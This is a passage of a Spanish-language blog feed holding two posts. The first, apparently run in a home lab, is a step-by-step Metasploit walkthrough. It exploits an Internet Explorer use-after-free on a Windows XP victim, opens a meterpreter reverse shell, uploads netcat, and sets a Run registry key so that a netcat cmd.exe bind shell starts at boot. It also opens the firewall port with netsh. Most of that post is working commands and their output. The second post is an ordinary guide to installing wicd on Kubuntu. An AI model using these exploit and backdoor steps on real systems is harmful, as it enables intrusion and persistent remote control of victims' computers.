&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 153, 153);"&gt;/ |/ |/ |  |/  |  /  |  / \_|/ \_|/  /  \_|  |  &lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 153, 153);"&gt;  |  |  |_/|__/|_/\_/|_/ \/ |__/ |__/\__/ |_/|_/&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 153, 153);"&gt;                           /|                   &lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 153, 153);"&gt;                           \|                   &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;=[ metasploit v3.3.4-dev [core:3.3 api:1.0]&lt;br /&gt;+ -- --=[ 320 exploits - 99 auxiliary&lt;br /&gt;+ -- --=[ 217 payloads - 20 encoders - 6 nops&lt;br /&gt;=[ svn r8878 updated today (2010.03.22)&lt;br /&gt;&lt;br /&gt;msf &gt; &lt;span style="font-weight: bold;"&gt;use exploit/windows/browser/ie_iepeers_pointer&lt;/span&gt;&lt;br /&gt;msf exploit(&lt;span style="color: rgb(255, 0, 0);"&gt;ie_iepeers_pointer&lt;/span&gt;) &gt; set payload windows/meterpreter/reverse_tcp&lt;br /&gt;payload =&gt; windows/meterpreter/reverse_tcp          &lt;br /&gt;msf exploit(&lt;span style="color: rgb(255, 0, 0);"&gt;ie_iepeers_pointer&lt;/span&gt;) &gt; &lt;span style="font-weight: bold;"&gt;set LHOST 192.168.56.1&lt;/span&gt;&lt;br /&gt;LHOST =&gt; 192.168.56.1          &lt;br /&gt;msf exploit(&lt;span style="color: rgb(255, 0, 0);"&gt;ie_iepeers_pointer&lt;/span&gt;) &gt; &lt;span style="font-weight: bold;"&gt;set SRVHOST 192.168.56.1&lt;/span&gt;&lt;br /&gt;SRVHOST =&gt; 192.168.56.1  &lt;br /&gt;msf exploit(&lt;span style="color: rgb(255, 0, 0);"&gt;ie_iepeers_pointer&lt;/span&gt;) &gt; &lt;span style="font-weight: bold;"&gt;set URIPATH /&lt;/span&gt;&lt;br /&gt;URIPATH =&gt; /&lt;br /&gt;msf exploit(&lt;span style="color: rgb(255, 0, 0);"&gt;ie_iepeers_pointer&lt;/span&gt;) &gt;&lt;span style="font-weight: bold;"&gt; show options&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Module options:&lt;br /&gt;&lt;br /&gt;Name        Current Setting  Required  Description&lt;br /&gt;----        ---------------  --------  -----------&lt;br /&gt;SRVHOST     192.168.56.1     yes       The local host to listen on.&lt;br /&gt;SRVPORT     8080             yes       The local port to listen on.&lt;br /&gt;SSL         false            no        Negotiate SSL for incoming connections&lt;br /&gt;SSLVersion  SSL3             no        Specify the version of SSL that should be used (accepted: SSL2, SSL3, TLS1)&lt;br /&gt;URIPATH     /                no        The URI to use for this exploit (default is random)&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Payload options (windows/meterpreter/reverse_tcp):&lt;br /&gt;&lt;br /&gt;Name      Current Setting  Required  Description&lt;br /&gt;----      ---------------  --------  -----------&lt;br /&gt;EXITFUNC  process          yes       Exit technique: seh, thread, process&lt;br /&gt;LHOST     192.168.56.1     yes       The local address&lt;br /&gt;LPORT     4444             yes       The local port&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Exploit target:&lt;br /&gt;&lt;br /&gt;Id  Name&lt;br /&gt;--  ----&lt;br /&gt;0   Windows XP SP0-SP3 / IE 6.0 SP0-2 &amp;amp; IE 7.0&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;msf exploit(&lt;span style="color: rgb(255, 0, 0);"&gt;ie_iepeers_pointer&lt;/span&gt;) &gt; &lt;span style="font-weight: bold;"&gt;exploit&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 0, 153);"&gt;[*]&lt;/span&gt; Exploit running as background job.&lt;br /&gt;msf exploit(ie_iepeers_pointer) &gt;&lt;br /&gt;&lt;span style="color: rgb(51, 0, 153);"&gt;[*]&lt;/span&gt; Started reverse handler on 192.168.56.1:4444&lt;br /&gt;&lt;span style="color: rgb(51, 0, 153);"&gt;[*]&lt;/span&gt; Using URL: http://192.168.56.1:8080/&lt;br /&gt;&lt;span style="color: rgb(51, 0, 153);"&gt;[*]&lt;/span&gt; Server started.&lt;br /&gt;&lt;/pre&gt;&lt;/div&gt;Vemos que el atacante tiene como ip 192.168.56.1, ahora quedaria que la victime ingrese a la direccion http://192.168.56.1:8080, el cual es la pagina maliciosa hecha por el metasploit, donde si cumple los requisitos de dicho exploit se ejecutara el payload en la maquina victima.&lt;br /&gt;&lt;br /&gt;Entonces ingresamos&lt;br /&gt;&lt;br /&gt;&lt;div style="text-align: center;"&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_DI2yEVgm8Qk/S6fGtfrjRnI/AAAAAAAAAKI/ygIzdJGICIE/s1600-h/cuadrado8.jpeg"&gt;&lt;img style="cursor: pointer; width: 320px; height: 181px;" src="http://2.bp.blogspot.com/_DI2yEVgm8Qk/S6fGtfrjRnI/AAAAAAAAAKI/ygIzdJGICIE/s320/cuadrado8.jpeg" alt="" id="BLOGGER_PHOTO_ID_5451544358855853682" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;/div&gt;En la consola del metasploit podemos ver como se ejecuto y tenemos una sesion de meterpreter.&lt;br /&gt;&lt;br /&gt;&lt;div style="margin: 5px 20px 20px;"&gt;&lt;br /&gt;&lt;pre class="alt2" dir="ltr" style="border: 1px inset ; margin: 0px; padding: 6px; overflow: auto; width: 800px; height: 250px; text-align: left;"&gt;&lt;br /&gt;msf exploit(ie_iepeers_pointer) &gt;&lt;br /&gt;&lt;span style="color: rgb(51, 0, 153);"&gt;[*]&lt;/span&gt; Started reverse handler on 192.168.56.1:4444&lt;br /&gt;&lt;span style="color: rgb(51, 0, 153);"&gt;[*]&lt;/span&gt; Using URL: http://192.168.56.1:8080/&lt;br /&gt;&lt;span style="color: rgb(51, 0, 153);"&gt;[*]&lt;/span&gt; Server started.&lt;br /&gt;&lt;span style="color: rgb(51, 0, 153);"&gt;[*]&lt;/span&gt; Sending Internet Explorer iepeers.dll Use After Free to 192.168.56.101:1034...&lt;br /&gt;&lt;span style="color: rgb(51, 0, 153);"&gt;[*]&lt;/span&gt; Sending stage (748032 bytes)&lt;br /&gt;&lt;span style="color: rgb(51, 0, 153);"&gt;[*]&lt;/span&gt; Meterpreter session 1 opened (192.168.56.1:4444 -&gt; 192.168.56.101:1035)&lt;br /&gt;&lt;span style="color: rgb(51, 0, 153);"&gt;[*]&lt;/span&gt; Session ID 1 (192.168.56.1:4444 -&gt; 192.168.56.101:1035) processing InitialAutoRunScript 'migrate -f'&lt;br /&gt;&lt;span style="color: rgb(51, 0, 153);"&gt;[*]&lt;/span&gt; Current server process: iexplore.exe (1364)&lt;br /&gt;&lt;span style="color: rgb(51, 0, 153);"&gt;[*]&lt;/span&gt; Spawning a notepad.exe host process...&lt;br /&gt;&lt;span style="color: rgb(51, 0, 153);"&gt;[*]&lt;/span&gt; Migrating into process ID 188&lt;br /&gt;&lt;span style="color: rgb(51, 0, 153);"&gt;[*]&lt;/span&gt; New server process: notepad.exe (188)&lt;br /&gt;&lt;br /&gt;msf exploit(&lt;span style="color: rgb(255, 0, 0);"&gt;ie_iepeers_pointer&lt;/span&gt;) &gt; sessions -l&lt;br /&gt;&lt;br /&gt;Active sessions&lt;br /&gt;===============&lt;br /&gt;&lt;br /&gt;Id  Type         Information                                  Connection&lt;br /&gt;--  ----         -----------                                  ----------&lt;br /&gt;1   meterpreter  VICTIMA-55919B2\victima 2 @ VICTIMA-55919B2  192.168.56.1:4444 -&gt; 192.168.56.101:1035&lt;br /&gt;&lt;br /&gt;msf exploit(ie_iepeers_pointer) &gt; sessions -i 1&lt;br /&gt;[*] Starting interaction with 1...&lt;br /&gt;&lt;br /&gt;meterpreter &gt; &lt;span style="font-weight: bold;"&gt;sysinfo&lt;/span&gt;&lt;br /&gt;Computer: VICTIMA-55919B2&lt;br /&gt;OS      : Windows XP (Build 2600, Service Pack 3).&lt;br /&gt;Arch    : x86&lt;br /&gt;Language: es_ES&lt;br /&gt;meterpreter &gt;&lt;br /&gt;&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-size:130%;"&gt;&lt;span style="font-weight: bold;"&gt;Segunda Parte&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Una vez obtenido una sesion lo que vamos hacer es interactuar con la victima con el meterpreter. El proceso de este backdor es muy simple consisten en subir el netcat dejando en escucha un puerto con una cmd.exe , y colocando una exepcion en el firewall ya que la conexion sera de tipo bind.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Subimos el netcat&lt;/span&gt;&lt;br /&gt;Para ello tenemos que tener el netcat para windows, yo lo tengo en la carpeta de mi /home/ y lo subiremos en la carpeta de system32, la sentecia quedaria asi.&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style="margin: 5px 20px 20px;"&gt;&lt;br /&gt;&lt;pre class="alt2" dir="ltr" style="border: 1px inset ; margin: 0px; padding: 6px; overflow: auto; width: 800px; height: 100px; text-align: left;"&gt;&lt;br /&gt;&lt;br /&gt;meterpreter &gt; &lt;span style="font-weight: bold;"&gt;upload /home/magno/nc.exe c:\\windows\\system32&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 0, 153);"&gt;[*]&lt;/span&gt; uploading  : /home/magno/nc.exe -&gt; c:\windows\system32&lt;br /&gt;&lt;span style="color: rgb(51, 0, 153);"&gt;[*]&lt;/span&gt; uploaded   : /home/magno/nc.exe -&gt; c:\windows\system32\nc.exe&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;Luego agregaremos una clave en el registro de windows para que arranque netcat escuchando el puerto 1234 con el cmd.exe, de forma daemon &lt;span style="font-weight: bold;"&gt;-d&lt;/span&gt;.&lt;br /&gt;&lt;br /&gt;&lt;div style="margin: 5px 20px 20px;"&gt;&lt;br /&gt;&lt;pre class="alt2" dir="ltr" style="border: 1px inset ; margin: 0px; padding: 6px; overflow: auto; width: 800px; height: 100px; text-align: left;"&gt;&lt;br /&gt;meterpreter &gt; &lt;span style="font-weight: bold;"&gt;reg setval -k HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Run&lt;br /&gt;-v realtek -d 'C:\Windows\System32\nc.exe  -L -d  -e cmd.exe -p 1234'&lt;/span&gt;&lt;br /&gt;Successful set Hacked.&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;Ahora nos quedaria agregar una exepcion en el firewall de windows, de la victima, para ello pedismos una shell en el metrpreter y ejecutamos los comandos como se muestran.&lt;br /&gt;&lt;br /&gt;&lt;div style="margin: 5px 20px 20px;"&gt;&lt;br /&gt;&lt;pre class="alt2" dir="ltr" style="border: 1px inset ; margin: 0px; padding: 6px; overflow: auto; width: 800px; height: 250px; text-align: left;"&gt;&lt;br /&gt;meterpreter &gt; &lt;span style="font-weight: bold;"&gt;execute -f cmd.exe -i -H     &lt;/span&gt;                                                                                       &lt;br /&gt;Process 560 created.                                                                                                              &lt;br /&gt;Channel 3 created.                                                                                                                &lt;br /&gt;Microsoft Windows XP [Versi�n 5.1.2600]                                                                                           &lt;br /&gt;(C) Copyright 1985-2001 Microsoft Corp.                                                                                           &lt;br /&gt;&lt;br /&gt;C:\Documents and Settings\victima 2\Escritorio&gt;netsh firewall add portopening ALL 1234 "c:\windows\system32\nc.exe"&lt;br /&gt;netsh firewall add portopening ALL 1234 "c:\windows\system32\nc.exe"&lt;br /&gt;Aceptar&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;C:\Documents and Settings\victima 2\Escritorio&gt;netsh firewall show portopening&lt;br /&gt;netsh firewall show portopening&lt;br /&gt;&lt;br /&gt;Configuraci�n de puerto para el perfil Est�ndar:&lt;br /&gt;Puerto Protocolo Modo          Nombre&lt;br /&gt;-------------------------------------------------------------------&lt;br /&gt;1234   TCP       Habilitar     c:\windows\system32\nc.exe&lt;br /&gt;1234   UDP       Habilitar     c:\windows\system32\nc.exe&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;C:\Documents and Settings\victima 2\Escritorio&gt;^C&lt;br /&gt;Terminate channel 3? [y/N]  y&lt;br /&gt;meterpreter &gt; reboot&lt;br /&gt;Rebooting...&lt;br /&gt;&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;El comando &lt;span style="font-weight: bold;"&gt;netsh&lt;/span&gt; nos permite setear configuraciones del firewall de windows, lo que hacemos es agregar una exepcion para el programa netcat, en el puerto 1234, para UDP y TCP, y como muestra despues podemos ver que estan colocadas las expeciones con el comando&lt;span style="font-weight: bold;"&gt; netsh firewall show portopening&lt;/span&gt;&lt;br /&gt;Apretamos Crtl + c, no da el meterpreter y reiniciamos la computadora de la victima.&lt;br /&gt;Ahora Fijense como la victima esta escuchando el puerto 1234&lt;br /&gt;&lt;br /&gt;&lt;div style="text-align: center;"&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_DI2yEVgm8Qk/S6fUEyomxSI/AAAAAAAAAKQ/sC9OJuQmY9g/s1600-h/escuhandovictima.jpeg"&gt;&lt;img style="cursor: pointer; width: 320px; height: 269px;" src="http://3.bp.blogspot.com/_DI2yEVgm8Qk/S6fUEyomxSI/AAAAAAAAAKQ/sC9OJuQmY9g/s320/escuhandovictima.jpeg" alt="" id="BLOGGER_PHOTO_ID_5451559052731925794" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;Solamente nos queda verificar e ingresar con el netcat a la victima de esta forma.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style="text-align: center;"&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_DI2yEVgm8Qk/S6fUUdNMIqI/AAAAAAAAAKY/MMVDLMk45b8/s1600-h/shell.jpeg"&gt;&lt;img style="cursor: pointer; width: 320px; height: 158px;" src="http://3.bp.blogspot.com/_DI2yEVgm8Qk/S6fUUdNMIqI/AAAAAAAAAKY/MMVDLMk45b8/s320/shell.jpeg" alt="" id="BLOGGER_PHOTO_ID_5451559321857696418" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;Eso es todo, Saludos&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8537339479493905438-3953226322321048456?l=magnobalt.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://magnobalt.blogspot.com/feeds/3953226322321048456/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://magnobalt.blogspot.com/2010/03/laboratorio-metasploit-backdor.html#comment-form' title='3 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8537339479493905438/posts/default/3953226322321048456'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8537339479493905438/posts/default/3953226322321048456'/><link rel='alternate' type='text/html' href='http://magnobalt.blogspot.com/2010/03/laboratorio-metasploit-backdor.html' title='Laboratorio - Metasploit - Backdor Persistente +  Exploit  ie_iepeers_pointer'/><author><name>MagnoBalt</name><uri>http://www.blogger.com/profile/14864169075483637737</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://2.bp.blogspot.com/_DI2yEVgm8Qk/S2x6_D9fiLI/AAAAAAAAAGo/4SQEGruJ1MY/S220/imagen+690.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://1.bp.blogspot.com/_DI2yEVgm8Qk/S6e9nNrHJQI/AAAAAAAAAKA/UR7KsIZIBN0/s72-c/Jhah0Tj8.png' height='72' width='72'/><thr:total>3</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8537339479493905438.post-3033556179367310295</id><published>2010-03-16T13:17:00.000-07:00</published><updated>2010-03-16T14:27:27.049-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Wifi'/><category scheme='http://www.blogger.com/atom/ns#' term='Linux'/><category scheme='http://www.blogger.com/atom/ns#' term='articulo'/><category scheme='http://www.blogger.com/atom/ns#' term='Kubuntu'/><title type='text'>Kubuntu + wicd + PRO/Wireless 3945ABG Intel</title><content type='html'>&lt;div style="text-align: center;"&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_DI2yEVgm8Qk/S5_2K1IMZYI/AAAAAAAAAJ0/Xmgi_nmmC1I/s1600-h/tux-kubuntu.png"&gt;&lt;img style="cursor: pointer; width: 247px; height: 250px;" src="http://1.bp.blogspot.com/_DI2yEVgm8Qk/S5_2K1IMZYI/AAAAAAAAAJ0/Xmgi_nmmC1I/s320/tux-kubuntu.png" alt="" id="BLOGGER_PHOTO_ID_5449344740062160258" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;Bueno hoy &lt;span class="blsp-spelling-corrected" id="SPELLING_ERROR_0"&gt;estuve&lt;/span&gt; instalando &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_1"&gt;Kubuntu&lt;/span&gt; 9.10 en mi &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_2"&gt;notebook&lt;/span&gt;, sin &lt;span class="blsp-spelling-corrected" id="SPELLING_ERROR_3"&gt;ningún&lt;/span&gt; problema hasta el momento de poder conectarme a la &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_4"&gt;Wifi&lt;/span&gt;, resulta que por &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_5"&gt;default&lt;/span&gt; me trajo el &lt;a href="http://projects.gnome.org/NetworkManager/"&gt;&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_6"&gt;Network&lt;/span&gt;-&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_7"&gt;Manager&lt;/span&gt;&lt;/a&gt; como administrador de &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_8"&gt;conexion&lt;/span&gt; de redes, y al verificar la existencia de una red no la &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_9"&gt;veia&lt;/span&gt;. Mi placa de red &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_10"&gt;wifi&lt;/span&gt; es una &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_11"&gt;INTEL&lt;/span&gt; modelo PRO/&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_12"&gt;Wireless&lt;/span&gt; 3945&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_13"&gt;ABG&lt;/span&gt;, ahora el problema radicaba que la placa por cable no me anda, no toma &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_14"&gt;ip&lt;/span&gt; entonces mi &lt;span class="blsp-spelling-corrected" id="SPELLING_ERROR_15"&gt;única&lt;/span&gt; &lt;span class="blsp-spelling-corrected" id="SPELLING_ERROR_16"&gt;solución&lt;/span&gt; siempre es la &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_17"&gt;wifi&lt;/span&gt;.&lt;br /&gt;Un amigo me dijo que el usaba el &lt;a href="http://wicd.sourceforge.net/"&gt;&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_18"&gt;wicd&lt;/span&gt;&lt;/a&gt;, &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_19"&gt;asi&lt;/span&gt; que me &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_20"&gt;decidi&lt;/span&gt; descargar, el tema radicaba en que no tenia &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_21"&gt;internet&lt;/span&gt; entonces tuve problemas con las &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_22"&gt;dependencias&lt;/span&gt;, tenia que irme a W$ y descargar las &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_23"&gt;dependencias&lt;/span&gt; muchas veces ida y vuelta.&lt;br /&gt;El que tenga un problema &lt;span class="blsp-spelling-corrected" id="SPELLING_ERROR_24"&gt;similar&lt;/span&gt; &lt;span class="blsp-spelling-corrected" id="SPELLING_ERROR_25"&gt;quizás&lt;/span&gt; esto le puede ayudar, voy a colocar la lista de los paquetes que &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_26"&gt;tube&lt;/span&gt; que descargar para que el &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_27"&gt;wicd&lt;/span&gt; me &lt;span class="blsp-spelling-corrected" id="SPELLING_ERROR_28"&gt;funcione&lt;/span&gt; correctamente, y este corriendo en el &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_29"&gt;kubuntu&lt;/span&gt; :).&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;font-size:180%;" &gt;Pasos&lt;/span&gt;:&lt;br /&gt;&lt;br /&gt;&lt;ul style="color: rgb(0, 0, 153);"&gt;&lt;li&gt; Descargarse el &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_30"&gt;wicd&lt;/span&gt; formato .&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_31"&gt;deb&lt;/span&gt; para &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_32"&gt;ubuntu&lt;/span&gt; desde &lt;a href="http://launchpadlibrarian.net/28365598/wicd_1.6.1-3_all.deb"&gt;&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_33"&gt;aqui&lt;/span&gt;.&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;&lt;ul style="color: rgb(0, 0, 153);"&gt;&lt;li&gt;Antes de instalar hay que &lt;span class="blsp-spelling-corrected" id="SPELLING_ERROR_34"&gt;desinstalar&lt;/span&gt; el &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_35"&gt;Network&lt;/span&gt;-&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_36"&gt;Manager&lt;/span&gt;&lt;/li&gt;&lt;/ul&gt;&lt;span style="font-weight: bold;"&gt;                      #&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_37"&gt;aptitude&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_38"&gt;remove&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_39"&gt;network&lt;/span&gt;-&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_40"&gt;Mmanager&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;ul style="color: rgb(0, 0, 153);"&gt;&lt;li&gt;Las siguientes &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_41"&gt;dependecias&lt;/span&gt; me arrojaba a mi.&lt;/li&gt;&lt;/ul&gt;&lt;div style="text-align: center; font-style: italic;"&gt;&lt;div style="text-align: justify;"&gt;&lt;span style="color: rgb(102, 102, 102);"&gt;                          &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_42"&gt;wicd&lt;/span&gt; depende de &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_43"&gt;python&lt;/span&gt;-&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_44"&gt;gtk&lt;/span&gt;2; sin embargo:&lt;/span&gt; &lt;span style="color: rgb(102, 102, 102);"&gt;                          El paquete `&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_45"&gt;python&lt;/span&gt;-&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_46"&gt;gtk&lt;/span&gt;2' no está instalado.&lt;/span&gt; &lt;span style="color: rgb(102, 102, 102);"&gt;                         &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_47"&gt;wicd&lt;/span&gt; depende de &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_48"&gt;python&lt;/span&gt;-&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_49"&gt;glade&lt;/span&gt;2; sin embargo:&lt;/span&gt; &lt;span style="color: rgb(102, 102, 102);"&gt;                         El paquete `&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_50"&gt;python&lt;/span&gt;-&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_51"&gt;glade&lt;/span&gt;2' no está instalado.&lt;/span&gt; &lt;span style="color: rgb(102, 102, 102);"&gt;                        &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_52"&gt;wicd&lt;/span&gt; depende de &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_53"&gt;python&lt;/span&gt;-&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_54"&gt;urwid&lt;/span&gt;; sin embargo:&lt;/span&gt; &lt;span style="color: rgb(102, 102, 102);"&gt;                         El paquete `&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_55"&gt;python&lt;/span&gt;-&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_56"&gt;urwid&lt;/span&gt;' no está instalado.&lt;/span&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;/div&gt;&lt;ul style="color: rgb(0, 0, 153);"&gt;&lt;li&gt;Empezando a buscar uno por uno me resultaron algunos problemas, ya que un paquete depende siempre de otro y &lt;span class="blsp-spelling-corrected" id="SPELLING_ERROR_57"&gt;así&lt;/span&gt;, y tenia que &lt;span class="blsp-spelling-corrected" id="SPELLING_ERROR_58"&gt;reiniciar&lt;/span&gt; la &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_59"&gt;pc&lt;/span&gt; para ir a W$ a buscar los nuevos paquetes, &lt;span class="blsp-spelling-corrected" id="SPELLING_ERROR_60"&gt;así&lt;/span&gt; que le dejo los pasos que &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_61"&gt;realize&lt;/span&gt; hasta que el &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_62"&gt;wicd&lt;/span&gt; termino corriendo sin problemas en &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_63"&gt;Kubuntu&lt;/span&gt;.&lt;/li&gt;&lt;/ul&gt;&lt;span style="font-weight: bold;"&gt;                      #&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_64"&gt;dpkg&lt;/span&gt; -i python-cairo_1.8.6-1ubuntu1_i386.deb&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;                      #&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_65"&gt;dpkg&lt;/span&gt; -i python-gtk2_2.14.1-1ubuntu1_i386.deb&lt;/span&gt;&lt;br /&gt;                       &lt;span style="font-weight: bold;"&gt;#&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_66"&gt;dpkg&lt;/span&gt; -i&lt;/span&gt; &lt;span style="font-weight: bold;"&gt;libglade2-0_2.6.4-1_i386.deb&lt;/span&gt;&lt;br /&gt;                       &lt;span style="font-weight: bold;"&gt;#&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_67"&gt;dpkg&lt;/span&gt; -i python-glade2_2.14.1-1ubuntu1_i386.deb&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;                      #&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_68"&gt;dpkg&lt;/span&gt; -i python-urwid_0.9.8.4-1_i386.deb&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;ul style="color: rgb(0, 0, 153);"&gt;&lt;li&gt;Y por ultimo instala el &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_69"&gt;Wicd&lt;/span&gt; de la misma forma con el &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_70"&gt;dpkg&lt;/span&gt;&lt;/li&gt;&lt;/ul&gt;&lt;span style="font-weight: bold;"&gt;                      #&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_71"&gt;dpkg&lt;/span&gt; -i wicd_1.6.2.2-1_all.deb&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Esa secuencia de paquetes fue la que me resulto, &lt;span class="blsp-spelling-corrected" id="SPELLING_ERROR_72"&gt;acá&lt;/span&gt; pueden encontrar la &lt;span class="blsp-spelling-corrected" id="SPELLING_ERROR_73"&gt;mayoría&lt;/span&gt; de los paquetes otros &lt;span class="blsp-spelling-corrected" id="SPELLING_ERROR_74"&gt;quizás&lt;/span&gt; tiene que &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_75"&gt;googlear&lt;/span&gt; un rato. &lt;a href="https://launchpad.net/ubuntu/karmic/i386/wicd/1.6.1-3"&gt;&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_76"&gt;LINK&lt;/span&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style="text-align: center;"&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_DI2yEVgm8Qk/S5_1dgGAw-I/AAAAAAAAAJs/SKGsk8_0MF0/s1600-h/instant%C3%A1nea1.png"&gt;&lt;img style="cursor: pointer; width: 320px; height: 200px;" src="http://4.bp.blogspot.com/_DI2yEVgm8Qk/S5_1dgGAw-I/AAAAAAAAAJs/SKGsk8_0MF0/s320/instant%C3%A1nea1.png" alt="" id="BLOGGER_PHOTO_ID_5449343961321751522" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style="text-align: left;"&gt;Saludos&lt;br 